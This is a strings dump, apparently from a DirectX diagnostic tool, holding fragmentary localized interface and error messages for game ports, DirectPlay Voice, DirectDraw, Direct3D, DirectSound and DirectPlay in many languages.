Controlador de Force Feedback
4Id. del proveedor e Id. del producto: 0x%04X, 0x%04X
Servicio: %s
Filtros superiores: %s
Filtros inferiores: %s
Controlador: %s, %s
Dispositivos USB
Dispositivos PS/2
Gameport
pro port gameport
ID odpov
Spilportenheder
Identisk enheds-id: %s
Gameportger
Passende Ger
tekennung: %s
Gameport(
Gameport Devices
Matching Device ID: %s
Peliportin laitteet
Vastaava laitetunnus: %s
riques Gameport%ID de p
rique correspondant
kportos eszk
zazonos
Periferiche porta giochi ID periferica corrispondente: %s
ID: %s
ID: %s
Spelpoortapparaten"Id van overeenkomstig apparaat: %s
Spillportenheter
Samsvarende enhets-ID: %s
dzenia portu gier1Trwa dopasowywanie identyfikatora urz
dzenia : %s
Dispositivos de porta de jogo/Identifica
o do dispositivo correspondente: %s
Spelportsenheter
Matchande enhets-ID: %s
Oyun Ba
Noktas
en Ayg
t Kimli
Gameport
ID: %s
Dispositivos de porta de jogos$ID de dispositivo correspondente: %s
Dispositivos de puerto de juegos"Id. de dispositivo coincidente: %s
Atributy
podeps
Velikost
Version
Attributter
Signeret digitalt
rrelse
Version
Attribute
Digital signiert
Sprache
Version
Attributes
Digitally Signed
Language
Versio
ritteet
Digitaalisesti allekirjoitettu
Version
Attributs
riquement
Langue
Taille
Jellemz
lisan al
Versione
Attributi
Firma digitale
Lingua
Dimensione
Versie
Kenmerken
Digitaal ondertekend
Grootte
Versjon
Attributter
Digitalt signert
rrelse
Wersja
Atrybuty
Cyfrowo podpisane
Rozmiar
Atributos
Assinado digitalmente
Idioma
Tamanho
Version
Attribut
Digitalt signerad
Storlek
znitelikler
Dijital olarak imzalanm
Atributos
Assinado digitalmente
Idioma
Tamanho
Atributos
Firmado digitalmente
Idioma
Registr
Soubor
Identifik
tor GUID
Registreringsdatabase
Registrierung
Registry
Rekisteri
Tiedosto
GUID-tunnus
Registre
Fichier
Rendszerle
adatb
Registro di sistema
Register
Bestand
Register
Rejestr
Registro
Arquivo
Registernyckel
Registo
Ficheiro
Nombre
Registro
Archivo
DirectPlay
DirectPlay
0x%08x.@
DirectPlay.
DirectPlay
DirectPlay
0x%08x
DirectPlay
Tento pr
vodce testuje instalovan
zvukov
hardware a zaznamen
sledky testu. Vymaz
testu zp
vodce znovu vyhodnot
instalovan
hardware, co
e pomoci v p
ch probl
. Chcete vymazat v
sledky testu z Pr
vodce sou
sti DirectPlayVoice?
padech, kdy se pou
vodce nezda
e pomoci
vynech
vodce. Chcete pr
vodce vynechat a p
e test hardwaru byl
dokon
en?8Tento poradce p
ch nedok
probl
vodce sou
sti DirectPlayVoice do
lo k chyb
d chyby: 0x%08x.XNen
nainstalov
zvukov
karta. Pr
vodce sou
sti DirectPlayVoice nelze spustit.
Guiden tester lydhardwaren og registrerer testresultaterne. Hvis testresultaterne slettes, vil guiden vurdere hardwaren igen, hvilket hj
lper i nogle tilf
lde. Vil du slette testresultaterne fra guiden DirectPlay Voice?
Det hj
lper i visse sj
ldne tilf
lde at springe guiden over. Vil du springe guiden over og lade som om at hardwaretesten er best
et?,Denne fejlfinding kunne ikke l
se problemet.DGuiden DirectPlay Voice mislykkedes og returnerede fejlkoden 0x%08x.QDer er ikke installeret noget lydkort, s
guiden DirectPlay Voice kan ikke k
Fehler
Die Soundhardware wird getestet, und die Testergebnisse werden aufgezeichnet. Das L
schen der Ergebnisse f
hrt dazu, dass die Hardware erneut
ft wird, was in einigen Fehlen hilfreich sein kann. Sollen die Testergebnisse des Assistenten gel
scht werden?
In einigen wenigen F
llen kann das vollst
ndige Umgehen des Assistenten hilfreich sein, wenn der Assistent fehlschl
chten Sie den Assistenten umgehen und vorgeben, dass die Hardwaretests erfolgreich durchgef
hrt wurden?9Mit diesem Ratgeber kann das Problem nicht gel
st werden.SDer DirectPlay Voice-Assistent ist mit folgendem Fehlercode fehlgeschlagen: 0x%08x.gEs ist keine Soundkarte installiert. Daher kann der DirectPlay Voice-Assistent nicht ausgef
hrt werden.
DirectPlay;
DirectPlay
0x%08x.]
DirectPlay
The wizard tests your sound hardware and records the test results. Clearing the test results will cause the wizard to reevaluate your hardware which may help in some cases. Would you like to clear the test results from the DirectPlay Voice wizard?
Bypassing the wizard entirely might help in some rare cases if the wizard fails. Would you like to bypass the wizard and pretend that the hardware tests passed successfully?4This troubleshooter is unable to solve your problem.:The DirectPlay Voice Wizard failed with error code 0x%08x.GNo sound card is installed, so the DirectPlay Voice Wizard can not run.
Ohjattu toiminto testaa
nilaitteiston ja tallentaa testin tulokset. Tulosten tyhjent
minen k
ynnist
laitteistotestin uudelleen alusta, mist
saattaa olla hy
ongelmatilanteissa.Haluatko tyhjent
ohjatun DirectPlay-
nitestin tulokset?
Harvinaisissa tapauksissa, joissa ohjatun testin suorittaminen ep
onnistuu, voi olla hy
dyllist
ohittaa testi kokonaan. Haluatko ohittaa ohjatun testin kokonaan ja olettaa, ett
laitteistotestit on suoritettu onnistuneesti?3Vianm
ritys ei onnistunut ratkaisemaan ongelmaasi.=Ohjattu DirectPlay-
nitesti ep
onnistui. Virhekoodi: 0x%08x.N
nikorttia ei ole asennettu. Ohjattua DirectPlay-
nitesti
ei voi suorittaa.
Erreur
L'Assistant teste votre p
rique audio et enregistre les r
sultats du test. Si vous effacez les r
sultats du test, l'Assistant r
value votre mat
riel, ce qui peut
tre utile dans certains cas. Voulez-vous effacer les r
sultats du test de l'Assistant DirectPlay Voice
Ignorer enti
rement l'Assistant peut aider dans certains cas rares si l'Assistant
choue. Voulez-vous ignorer l'Assistant et consid
rer que le mat
riel a
avec succ
?NCet utilitaire de r
solution de probl
mes ne peut pas r
soudre votre probl
me.CL'Assistant DirectPlay Voice a
avec le code d'erreur 0x%08x.eAucune carte son n'est install
e, par cons
quent l'Assistant DirectPlay Voice ne peut pas s'ex
cuter.
DirectPlay Voice?~
DirectPlay Voice
0x%08x.?
DirectPlay Voice.
teszteli a hardveres hangeszk
ti az eredm
nyeket. Az eredm
nyek t
se eset
n a var
l felm
ri a hardvert, ami bizonyos esetekben megold
st jelenthet. T
rli az teszteredm
nyeket a DirectPlay hangvar
fordulhat, hogy a var
megker
se seg
t azokban a ritka esetekben, ha a var
hiba miatt le
ll. Megker
li a var
gy tesz, mintha a hardvereszk
k sikeresen
tmentek volna a teszteken?3A hibaelh
nem tudja megoldani ezt a probl
t.@A DirectPlay hangvar
vetkez
hibak
ddal le
llt: 0x%08x.INincs hangk
rtya telep
gy a DirectPlay hangvar
nem futtathat
Errore
La procedura guidata esegue il test dell'hardware audio e registra i risultati. Se si cancellano i risultati, la procedura guidata ripeter
i test. In alcuni casi, questo pu
essere utile. Cancellare i risultati del test dal Test guidato DirectPlay Voice?
Se il test guidato non viene superato, in alcuni casi
possibile ignorare completamente la procedura guidata. Ignorare la procedura guidata e continuare come se i test fossero stati superati correttamente?"Impossibile risolvere il problema.TTest guidato DirectPlay Voice non riuscito con il seguente codice di errore: 0x%08x.WNessuna scheda audio installata. Impossibile eseguire il Test guidato DirectPlay Voice.
DirectPlay
)DirectPlay
0x%08x
DirectPlay
. DirectPlay
.+DirectPlay
0x%08x(
DirectPlay
Met de wizard DirectPlay Voice wordt uw geluidshardware getest en de testresultaten opgeslagen. Als u de testresultaten verwijdert, wordt de hardware opnieuw getest. Dit kan in sommige gevallen helpen. Wilt u de testresultaten van de wizard verwijderen?
In zeldzame gevallen, bijvoorbeeld als de wizard niet goed werkt, kunt u de wizard volledig overslaan. Wilt u de wizard overslaan en doen alsof de hardwaretest met goed gevolg is voltooid??Uw probleem kan niet worden opgelost met deze probleemoplosser.:De wizard DirectPlay Voice is mislukt met foutcode 0x%08x.aEr is geen geluidskaart ge
nstalleerd, dus de wizard DirectPlay Voice kan niet worden uitgevoerd.
Veiviseren tester lydmaskinvaren og lagrer testresultatene. Sletting av testresultatene vil f
re til at veiviseren vil maskinvaren p
nytt, noe som noen ganger kan v
re til hjelp. Vil du slette testresultatene fra stemmeveiviseren for DirectPlay?
Fullstendig omg
else av veiviseren kan i visse sjeldne tilfeller hjelpe hvis veiviseren mislykkes. Vil du hoppe over veiviseren, og late som maskinvaretestene var vellykkede?8Kan ikke l
se problemet ved hjelp av denne feils
kingen.>Stemmeveiviseren for DirectPlay mislyktes med feilkode 0x%08x.PIngen lydkort er installert, s
stemmeveiviseren for DirectPlay kan ikke kj
Kreator testuje sprz
kowy i rejestruje wyniki testu. Wyczyszczenie wynik
w testu spowoduje,
e kreator ponownie przetestuje sprz
t, co mo
pomocne w niekt
rych przypadkach. Czy chcesz wyczy
wyniki testu w Kreatorze programu DirectPlay Voice?
kowite pomini
cie kreatora mo
pomocne w pewnych, rzadkich przypadkach, je
li wyst
puje jego niepowodzenie. Czy chcesz pomin
kreatora, uznaj
e testy sprz
tu zako
powodzeniem?DTo narz
dzie do rozwi
zywania problem
w nie mo
e rozwi
problemu.QDzia
anie Kreatora programu DirectPlay Voice nie powiod
. Kod b
du: 0x%08x.dNie zainstalowano karty d
kowej, wi
c uruchomienie Kreatora programu DirectPlay nie jest mo
O assistente testa o hardware de som e registra os resultados do teste. A limpeza dos resultados do teste far
com que o assistente reavalie o hardware. Esse procedimento pode ajudar em alguns casos. Deseja limpar os resultados do teste do 'Assistente do DirectPlay Voice'?
Ignorar o assistente por completo pode ser
til caso o assistente falhe. Deseja ignorar o assistente e fingir que os testes de hardware foram bem-sucedidos?)N
vel solucionar o seu problema.FFalha do 'Assistente do DirectPlay Voice' com o c
digo de erro 0x%08x.hN
vel executar o 'Assistente do DirectPlay Voice' porque n
nenhuma placa de som instalada.
DirectPlay Voice?
DirectPlay Voice
0x%08x.V
DirectPlay Voice
Guiden testar ljudmaskinvaran och sparar testresultaten. Om du rensar testresultaten utv
rderar guiden maskinvaran igen, vilket kan hj
lpa i vissa fall. Vill du rensa testresultaten f
r guiden DirectPlay Voice?
I enstaka fall kan det hj
lpa att hoppa
ver guiden helt om den misslyckas. Vill du hoppa
ver guiden och anta att maskinvarutesten lyckades?+Den h
r fels
karen kan inte l
sa problemet.9Guiden DirectPlay Voice misslyckades med felkoden 0x%08x.NGuiden DirectPlay Voice kan inte k
ras eftersom inget ljudkort
r installerat.
Sihirbaz ses donan
nar ve s
nama sonu
kaydeder. S
nama sonu
silmek, sihirbaz
n donan
yeniden de
erlendirmesini sa
layarak baz
durumlarda yard
olabilir. DirectPlay Ses sihirbaz
ndan s
nama sonu
silmek ister misiniz?
Sihirbaz ba
z olursa, sihirbaz
tamamen atlamak pek s
k olmasa da yard
olabilir. Sihirbaz
atlamak ve donan
namalar
ekilde ge
gibi davranmak istermisiniz?$Bu sorun gidericisi sorunu
zemedi.@The DirectPlay Ses Sihirbaz
0x%08x hata koduyla ba
z oldu.ADirectPlay Ses Sihirbaz
ses kart
DirectPlay
DirectPlay
0x%08x
DirectPlay
O assistente testa o hardware de som e grava os resultados do teste. Eliminar os resultados do teste ir
fazer com que o assistente reavalie o hardware o que pode ajudar nalguns casos. Deseja eliminar os resultados do teste do 'Assistente de voz DirectPlay'?
Ignorar o assistente pode ajudar nos casos raros em que o assistente falha. Deseja ignorar o assistente e fazer de conta que os testes de hardware tiveram
xito?>A resolu
o de problemas n
o conseguiu resolver este problema.DO 'Assistente de voz DirectPlay' falhou com o c
digo de erro 0x%08x.iComo n
o existe nenhum cart
o de som instalado, n
vel executar o 'Assistente de voz DirectPlay'.
Aceptar
El asistente prueba el hardware de sonido y registra el resultado de la prueba. Si borra este resultado el asistente volver
a efectuar la prueba, lo que a veces puede ser de ayuda.
Desea borrar el resultado de la prueba del Asistente de Voz de DirectPlay?
Pasar completamente por alto el asistente puede ser de ayuda en situaciones muy concretas en caso de producirse errores en el asistente.
Desea pasar por alto el asistente y actuar como si las pruebas de hardware se hubieran efectuado satisfactoriamente?9Este solucionador de problemas no puede resolver el suyo.;Error del Asistente de Voz de DirectPlay con c
digo 0x%08x.nNo hay instalada ninguna tarjeta de sonido, por lo que no se puede ejecutar el Asistente de Voz de DirectPlay.
4Hodnota obnovovac
frekvence mus
t mezi 40 a 120.
obnovovac
frekvence) (optim
obnovovac
frekvence)
rdien for opdateringshastighed skal v
re mellem 40 og 120.(standard opdateringshastighed)
(optimal opdateringshastighed)
ADer Wert der Aktualisierungsrate muss zwischen 40 und 120 liegen.
(Standardaktualisierungsrate)
(Optimale Aktualisierungsrate)
120.!(
.Refresh rate value must be between 40 and 120.
(default refresh rate)
(optimal refresh rate)
&Virkistystaajuuden on oltava 40 - 120.
(oletusvirkistystaajuus)(optimaalinen virkistystaajuus)
DLa fr
quence de rafra
chissement doit
tre comprise entre 40 et 120.*(Fr
quence de rafra
chissement par d
faut)((Fr
quence de rafra
chissement optimale)
3A friss
knek 40
s 120 k
tt kell lennie.#(alap
rtelmezett friss
(optim
lis friss
MIl valore della frequenza di aggiornamento deve essere compreso tra 40 e 120.
(freq. predef.)
(freq. ottimale)
4Vernieuwingsfrequentie moet liggen tussen 40 en 120.
(st. vernieuwingsfreq.)
(opt. vernieuwingsfreq.)
<Verdien for oppdateringsfrekvensen m
re mellom 40 og 120.(standard oppdateringsfrekvens)
(optimal oppdateringsfrekvens)
FWarto
stotliwo
ania powinna by
z zakresu od 40 do 120.
(dom. cz
st. od
(opt. cz
st. od
9O valor da taxa de atualiza
o deve estar entre 40 e 120.
(taxa de atualiza
o padr
(taxa de atualiza
o ideal)
0Uppdateringsintervallet anges mellan 40 och 120.#(standardhastighet f
r uppdatering)
sta uppdateringshastighet)
0Yenileme oran
eri 40 ve 120 aras
nda olmal
(varsay
lan yenileme oran
(en iyi yenileme oran
OO valor da frequ
ncia de actualiza
o tem de estar compreendido entre 40 e 120.
(freq. de actualiz. predef.)
(freq. de actualiz. optim.)
QEl valor de la frecuencia de actualizaci
n debe estar comprendido entre 40 y 120.
(frec. de act. predet.)
(frec. de act.
ptima)
DirectX 8.0
DirectX 8.0
4Tento test po
aduje rozhran
DirectX 8.0 nebo vy
8Denne test kr
ver, at mindst DirectX 8.0 er installeret.
CDieser Test erfordert, dass DirectX 8.0 oder h
her installiert ist.
DirectX 8.0.
:This test requires that at least DirectX 8.0 be installed.
testi vaatii, ett
n DirectX 8.0 on asennettu.
;Ce test n
cessite que DirectX
8.0 au minimum soit install
DirectX 8.0
LEhhez a teszthez a DirectX program legal
bb 8.0-s verzi
t kell telep
?Per effettuare questo test, DirectX 8.0 deve essere installato.
DirectX 8.0
DirectX 8.0
<Deze test vereist dat DirectX 8.0 of hoger is ge
nstalleerd.
7Denne testen krever at minst DirectX 8.0 er installert.
ATen test wymaga zainstalowania przynajmniej programu DirectX 8.0.
?Este teste requer que no m
nimo o DirectX 8.0 esteja instalado.
DirectX 8.0.
=Detta test kr
ver att DirectX 8.0 eller nyare
r installerat.
nama, en az DirectX 8.0'
olmas
gerektirir.
DirectX 8.0
?Este teste requer que no m
nimo o DirectX 8.0 esteja instalado.
=Esta prueba requiere que al menos DirectX 8.0 est
instalado.
mto ID ji
existuje. Chcete jej p
epsat?
<En enhed med dette id findes allerede. Skal den overskrives?
FEs gibt dort bereits ein Ger
t mit dieser ID. M
chten Sie es ersetzen?
IA device with that ID already exists there. Do you want to overwrite it?
HLaite, jolla on sama tunnus, on jo j
rjestelm
. Haluatko korvata sen?
rique avec cet ID existe d
. Souhaitez-vous le remplacer
tezik egy eszk
z ugyanezzel az azonos
val. K
nja fel
[Una periferica con lo stesso ID
presente nella posizione specificata. Sovrascriverla?
@Er bestaat al een apparaat met die id. Wilt u dit overschrijven?
CDet finnes allerede en enhet med denne IDen. Vil du overskrive den?
dzenie o tym identyfikatorze ju
istnieje. Czy chcesz je zast
existe um dispositivo com esta identifica
o. Deseja sobrescrev
HDet finns redan en enhet med det ID-numret d
r. Vill du skriva
ver det?
BBu numaral
t orada zaten var.
zerine yazmak istiyor musunuz?
existe um dispositivo com esse ID. Deseja substitui-lo?
<Ya existe un dispositivo con ese Id.
Desea sobrescribirlo?
Neplatn
argumenty
chyba
implementov
Ugyldigt argument(er)
Der opstod en standardfejl
Der opstod en uventet fejl.
Ikke implementeret
ltige(s) Argument(e)
Allgemeiner Fehler
Unerwarteter Fehler
Nicht implementiert
Invalid argument(s)
Generic failure
Unexpected error
Not implemented
Argumentit eiv
t kelpaa
Yleinen virhe
Odottamaton virhe
Ei toteutettu
Argument(s) non valide(s)
chec g
Erreur inattendue
Non mis en oeuvre
nytelen argumentum(ok)
nos hiba
rt hiba
Nincs megval
Argomento non valido.
Errore generico
Errore non previsto
Non implementato
Ongeldig(e) argument(en)
Algemene fout
Onverwachte fout
Niet ge
mplementeerd
Ugyldig(e) argument(er)
Generell feil
Uventet feil
Ikke implementert
Nieprawid
owe argumenty
d rodzajowy
Nieoczekiwany b
Nie zaimplementowano
Argumento(s) inv
lido(s)
Falha gen
Erro inesperado
o implementado
Felaktiga argument
nt fel
ntat fel
Har inte implementerats
ersiz de
kenler
Soysal hata
Beklenmeyen Hata
Uygulanmam
Argumento(s) inv
lido(s)
Falha gen
Erro inesperado
o implementado
Argumentos no v
Error gen
Error inesperado
No implementado
Nedostatek pam
rozhran
k dispozici
da nen
zaregistrovan
d chyby
Der er ikke mere hukommelse
Ingen gr
nseflade
Klassen er ikke registreret
fejlkode
Nicht gen
gend Arbeitsspeicher
Keine Schnittstelle
Klasse ist nicht registriert
Fehlercode
Out of memory
No interface
Class not registered
error code
Muisti on lopussa.
Ei liittym
Luokkaa ei ole rekister
Virhekoodi
moire insuffisante
Aucune interface
Classe non r
pertori
Code d'erreur
s a mem
Nincs csatol
Az oszt
ly nincs regisztr
Memoria insufficiente.
Nessuna interfaccia
Classe non registrata
Codice errore
Onvoldoende geheugen
Geen interface
Klasse niet geregistreerd
Foutcode
Ikke nok minne
Ingen grensesnitt
Klassen er ikke registrert
feilkode
o pami
Brak interfejsu
Klasa niezarejestrowana
Sem mem
Nenhuma interface
Classe n
o registrada
digo de erro
Slut p
ledigt minne
Inget gr
nssnitt
Klassen
r inte registrerad
Felkod
Yetersiz bellek
Arabirim yok
Hata Kodu
ria esgotada
Sem interface
Classe n
o registada
digo de erro
Memoria insuficiente
Sin interfaz
Clase no registrada
digo de error
DirectDraw
DirectDraw
Neplatn
Neplatn
t pixel
Nelze vytvo
Nebylo nalezeno,Podpora rozhran
DirectDraw nen
k dispozici/Podpora prostorov
ho zobrazen
k dispozici
Ugyldig tilstand
Ugyldigt pixel-format
DC kan ikke oprettes
Blev ikke fundet"Ingen underst
ttelse af DirectDraw
Ingen 3D
ltiger Modus
ltiges Pixelformat
DC kann nicht erstellt werden
Nicht gefunden
Keine DirectDraw-Unterst
Kein 3D
pixel$
DirectDraw
Invalid mode
Invalid pixel format
Can't create DC
Not found
No DirectDraw support
Virheellinen tila
Kuvapistemuoto ei kelpaa&Toimialueen ohjauskonetta ei voi luoda
ytynyt
Ei DirectDraw-tukea
Mode non valide
Format de pixel non valide,Impossible de cr
er un contr
leur de domaine
Introuvable#DirectDraw n'est pas pris en charge
Affichage 3-D non disponible
-DirectDraw
nytelen m
ppont form
nytelen
A DC nem hozhat
Nem tal
Nincs DirectDraw t
Nincs 3D
Modalit
non valida.
Formato di pixel non valido+Impossibile creare un controller di dominio
Non trovati
Nessun supporto DirectDraw
Nessun supporto 3D
DirectDraw
DirectDraw
Ongeldige modus
Ongeldige beeldpuntgrootte
Kan DC niet maken
Niet gevonden
Geen DirectDraw-ondersteuning
Geen 3D
Ugyldig modus
Ugyldig pikselformat
Kan ikke opprette DC
Ikke funnet
Ingen DirectDraw-st
Ingen 3D
Nieprawid
owy tryb
Nieprawid
owy format pikseli)Nie mo
na utworzy
kontekstu wy
wietlania
Nie znaleziono
Brak obs
ugi DirectDraw
Bez 3W
Modo inv
Formato de pixel inv
vel criar DC
o encontrado
Sem suporte ao DirectDraw
Sem 3D
DirectDraw
Ogiltigt l
Felaktigt bildpunktsformat
r inte att skapa DC
Kunde inte hittas
Inget DirectDraw-st
Inget 3D
ersiz mod
ersiz piksel bi
DC olu
turulam
Bulunamad
DirectDraw deste
3B yok
DirectDraw
Modo inv
Formato de pixel inv
vel criar DC
o encontrado
Sem suporte para o DirectDraw
Sem 3D
Modo no v
Formato de p
xel no v
No se puede crear DC
No se encuentraNo es compatible con DirectDraw
Sin 3D
Neplatn
Inicializace se nezda
ila Vytvo
materi
lu se nezda
Nastaven
tla se nezda
Nedostatek zobrazovac
3D nen
dostupn
Ugyldig enhed
Initialisering mislykkedes#Oprettelse af materiale mislykkedes
tning mislykkedes Der er ikke mere videohukommelse
3D er ikke tilg
ngelig
ltiges Ger
t"Initialisierung ist fehlgeschlagen%Materialerstellung ist fehlgeschlagen#Lichteinstellung ist fehlgeschlagen
Nicht gen
gend Videospeicher
3D nicht verf
Invalid device
Initialization failed
Material create failed
Light set failed
Out of video memory
3D not available
Laite ei kelpaa
Alustaminen ep
onnistui Materiaalin luominen ep
onnistui&Valaistuksen m
minen ep
onnistui
muisti loppui
3D-ominaisuudet puuttuvat
rique non valide
chec de l'initialisation
chec de la cr
ation du mat
chec du jeu de lumi
moire vid
o insuffisante
3D non disponible
nytelen eszk
Az inicializ
nem siker
lt!Az anyag l
trehoz
sa nem siker
lt&A megvil
sa nem siker
Elfogyott a videomem
A 3D nem haszn
Periferica non valida.
Inizializzazione non riuscita.$Creazione di materiale non riuscita.%Impostazione delle luci non riuscita.
Memoria video insufficiente
3D non disponibile
Ongeldig apparaat
Initialisatie mislukt
Maken van materiaal mislukt
Kan licht niet instellen
Onvoldoende videogeheugen
3D-weergave niet beschikbaar
Ugyldig enhet
Initialisering mislyktes
Kan ikke opprette Material
Lysangivelse mislyktes
Ikke nok skjermminne
3D er ikke tilgjengelig
Nieprawid
owe urz
dzenie
Zainicjowanie nie powiod
$Tworzenie materia
u nie powiod
Nie mo
na ustawi
o pami
ci wideo
3W niedost
Dispositivo inv
Falha na inicializa
Falha na cria
o de material
Falha no conjunto de luzes
ria de v
deo insuficiente
o dispon
Felaktig enhet
Initieringen misslyckades Det gick inte att skapa material
Det gick inte att ange ljus
Det saknas grafikminne
r inte tillg
ngligt
ersiz ayg
Malzeme olu
turulamad
k ayarlanamad
Bellek yetersiz
3B yok
Dispositivo inv
A inicializa
o falhou
Falha na cria
o do material
Falha no conjunto de luzes
Sem mem
ria de v
o dispon
Dispositivo no v
Error al inicializar
Error al crear el material
Error al establecer la luz
No hay memoria de v
3D no est
disponible
DirectSound
DirectSound
k dispozici
lo ke ztr
bloku vyrovn
ovlada
k dispozicilZpracov
adavku se nezda
ilo, proto
e zdroje rozhran
DirectSound a
priority ji
jsou pou
Styring er ikke tilg
ngelig
Forkert format
Mistet buffer
Ingen drivervAnmodningen mislykkedes, da DirectSound-ressourcer, f.eks. prioritetsniveauet, allerede var i brug af et andet opkald.
Steuerung nicht verf
Falsches Format
Puffer verloren
Kein TreiberzDie Anforderung ist fehlgeschlagen, da die DirectSound-Ressourcen, wie z. B. die Priorit
tsstufe, gerade verwendet wurden.
buffer
DirectSound,
Control not available
Bad format
Buffer lost
No drivertThe request failed because DirectSound resources, such as the priority level, were already in use by another caller.
#Ohjausobjektia ei ole k
Muoto ei kelpaa
Puskuria ei l
Ei ohjaintajPyynt
onnistui, koska toinen kutsuja k
ytti jo DirectSound-resursseja (esimerkiksi prioriteettitasoa).
le non disponible
Format incorrect
moire tampon perdue
Aucun pilote
La requ
car les ressources DirectSound, notamment le niveau de priorit
taient d
utilis
es pour un autre appel.
DirectSound,
Rossz form
Elveszett a puffer
Nincs illeszt
program
st nem lehetett v
grehajtani, mert bizonyos DirectSound er
sokat (p
ul a priorit
si szintet) m
r egy m
haszn
Controllo non disponibile.
Formato non valido
Buffer perso
Nessun driveryRichiesta non riuscita. Le risorse di DirectSound, come il livello di priorit
, sono gi
utilizzate da un'altra chiamata.
DirectSound
DirectSound
Besturing niet beschikbaar
Ongeldige indeling
Buffer verloren gegaan
Geen stuurprogrammayDe aanvraag is mislukt omdat DirectSound-bronnen, zoals het prioriteitsniveau, al in gebruik zijn door een andere beller.
Kontroll ikke tilgjengelig
Ugyldig format
Buffer tapt
Ingen driver
Foresp
rselen mislyktes fordi DirectSound-ressurser, som for eksempel prioritetsniv
et, allerede var i bruk av en annen oppringer.
Formant nie jest dost
y format
Utracony bufor
Brak sterownika
danie nie powiod
, poniewa
zasoby DirectSound, takie jak poziom priorytetu, by
ywane przez innego wywo
Controle n
o dispon
Formato incorreto
Buffer perdido
Nenhum driversO pedido falhou porque os recursos do DirectSound, como o n
vel de prioridade, j
estavam em uso por outro emissor.
DirectSound,
Kontrollen
r inte tillg
Felaktigt format
rlorade buffertar
Ingen drivrutinfBeg
ran misslyckades, eftersom resurser som kr
r DirectSound, t ex prioritetsniv
, redan anv
Denetim kullan
labilir de
Bozuk bi
Arabellek kayboldu
stek ba
z oldu
ncelik d
zeyi gibi DirectSound kaynaklar
ka bir arayan taraf
ndan zaten kullan
DirectSound
Controlo n
o dispon
Formato incorrecto
ria interm
dia perdida
Sem controlador}O pedido falhou porque os recursos do DirectSound, como o n
vel de prioridade, j
estavam a ser utilizados por outro emissor.
Control no disponible
Formato incorrecto
fer perdido
Sin controladoriError de solicitud porque otra llamada estaba usando recursos de DirectSound, como el nivel de prioridad.
Ovlada
selhal
ch port
je pou
no(Nedostate
velikost vyrovn
Driver mislykkedes
bne porte
Enheden er i brug
Utilstr
kkelig buffer
Treiber fehlgeschlagen
Anschl
sse ge
t wird verwendet
Nicht gen
gend Puffer
buffer
Driver failed
Ports open
Device in use
Insufficient buffer
"Ohjaimen suorittaminen ep
onnistui
Portteja avoinna
Laite on k
Puskuri ei riit
chec du pilote
Ports ouverts#P
rique en cours d'utilisation
moire tampon insuffisante
Hiba az illeszt
programban
A portok meg vannak nyitva
Az eszk
z haszn
latban van
Nincs elegend
puffer
Errore del driver
Porte aperte
Periferica in uso
Buffer insufficiente
Stuurprogramma is mislukt
Poorten geopend
Apparaat in gebruik
Onvoldoende buffer
Driver mislyktes
Porter
Enhet i bruk
For liten buffer
d sterownika
Otwarte porty
dzenie w u
Niewystarczaj
cy bufor
O driver falhou
Portas abertas
Dispositivo em uso
Buffer insuficiente
Drivrutinen misslyckades
ppna portar
Enheten anv
Otillr
cklig buffert
hatas
noktalar
t kullan
Yetersiz arabellek
O controlador falhou
Portas abertas
Dispositivo em utiliza
ria interm
dia insuficiente
Error de controlador
Puertos libres
Dispositivo en uso
fer insuficiente
Blok dat nebyl nalezen
Nelze
: chybn
cesta
: otev
se nezda
iloZavad
: form
podporov
Objekt nebyl nalezen
Del blev ikke fundet
Forkert instrument
Der kan ikke l
ser: ugyldig sti
bning mislykkedes'Indl
ser: formatet er ikke underst
Objektet blev ikke fundet.
Abschnitt nicht gefunden
digtes Instrument
Kann nicht gelesen werden
Ladeprogramm: falscher Pfad#Ladeprogramm:
ffnen fehlgeschlagen+Ladeprogramm: Format wird nicht unterst
Objekt wurde nicht gefunden
Chunk not found
Bad instrument
Cannot read
Loader: bad path
Loader: failed open
Loader: format not supported
Object not found
Osaa ei l
Soitin ei kelpaa
Ei voi lukea
Lataaminen: polku ei kelpaa!Lataaminen: avaaminen ep
onnistui
Lataaminen: muotoa ei tueta
Objektia ei l
Composant introuvable
Instrument incorrect
Lecture impossible#Chargeur
: chemin d'acc
s incorrectChargeur
chec de l'ouverture$Chargeur
: format non pris en charge
Objet introuvable
Chunk
Loader:
Loader:
Loader:
Az adatt
meg nem tal
Rossz hangszer
Nem lehet olvasni
: rossz el
: a megnyit
s nem siker
lt Bet
: nem t
mogatott form
Az objektum nem tal
Blocco non trovato
Strumento non valido
Impossibile leggere Caricatore: percorso non valido."Caricatore: apertura non riuscita.#Caricatore: formato non supportato.
Oggetto non trovato.
Chunk
(Chunk)
Chunk niet gevonden
Ongeldig instrument
Kan niet lezen
Loader: ongeldig pad
Loader: openen mislukt!Loader: indeling niet ondersteund
Object niet gevonden
Finner ikke del
Ugyldig instrument
Kan ikke lese
Laster: ugyldig bane
Laster:
pning mislyktes
Laster: formatet st
ttes ikke
Finner ikke objektet
Nie znaleziono fragmentu
y instrument
Nie mo
na odczyta
ka&Modu
cy: nie uda
otworzy
cy: format nieobs
ugiwany
Nie znaleziono obiektu
Parte n
o encontrada
Instrumento incorreto
vel ler
Carregador: caminho incorreto
Carregador: falha na abertura)Carregador: n
suporte para o formato
Objeto n
o encontrado
Segmentet hittades inte
Felaktigt instrument
r inte att l
Loader: felaktig s
gLoader: det gick inte att
Loader: formatet st
ds inte Det g
r inte att hitta objektet.
k birim bulunamad
Okunam
kleyici: hatal
kleyici: a
kleyici: bi
im desteklenmiyor
Nesne bulunamad
Parte n
o encontrada
Instrumento incorrecto
vel ler
Carregador: caminho incorrecto
Carregador: falha ao abrir!Carregador: formato n
o suportado
Objecto n
o encontrado
No se encuentra el campo
Instrumento no v
No se puede leer Cargador: ruta de acceso err
Cargador: error al abrirCargador: formato no compatible
Objeto no encontrado
stup byl odep
e nebylo mo
Relaci nebylo mo
no vytvo
lo k v
Neplatn
objekt
ipojen
k dispozici
limit
Obsazeno
ipojen
bylo ztraceno*
poskytovatel slu
by nen
k dispozici
k dispozici
Adgang n
Spiller kan ikke tilf
Session kan ikke oprettes.
Der opstod en undtagelse.
Objektet er ugyldigt
Ingen forbindelse
Timeout
Optaget
Forbindelsen blev afbrudt
Ingen tjenesteudbyder
Ikke tilg
ngelig
Zugriff verweigert)Mitspieler kann nicht hinzugef
gt werden.#Sitzung kann nicht erstellt werden.
Eine Ausnahme ist aufgetreten.
ltiges Objekt
Keine Verbindung
berschreitung
Ausgelastet
Verbindungsabbruch
Kein Dienstanbieter
Nicht verf
Access denied
Cannot add player
Cannot create session
An exception occurred
Invalid object
No connection
Time out
Connection lost
No service provider
Not available
estetty
Pelaajaa ei voi lis
